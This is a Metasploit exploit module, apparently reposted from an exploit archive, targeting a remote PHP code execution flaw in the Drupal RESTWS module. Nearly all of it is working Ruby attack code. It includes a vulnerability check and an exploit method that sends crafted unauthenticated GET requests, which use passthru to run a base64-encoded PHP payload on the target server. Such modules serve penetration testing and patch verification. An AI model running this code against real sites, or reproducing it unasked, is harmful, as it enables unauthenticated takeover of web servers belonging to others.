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Drupal RESTWS Module Remote PHP Code Execution

Posted on 21 July 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Drupal RESTWS Module Remote PHP Code Execution',
'Description' => %q{
This module exploits a Remote PHP Code Execution vulnerability in
Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
under the context of the web server user.

RESTWS alters the default page callbacks for entities to provide
additional functionality. A vulnerability in this approach allows
an unauthenticated attacker to send specially crafted requests resulting
in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
versions are affected by issue.

This module was tested against RESTWS 2.5 with Drupal 7.5 installation on Ubuntu server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Devin Zuczek', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765567']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
]
)
end

def check
r = rand_text_alpha(8 + rand(4))
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'q' => "taxonomy_vocabulary//passthru/echo #{r}"
}
)
if res && res.body.include?(r)
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
cmd = "php -r 'eval(base64_decode("#{Rex::Text.encode_base64(payload.encoded)}"));'"
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'q' => "taxonomy_vocabulary//passthru/#{cmd}"
}
)
end
end

 

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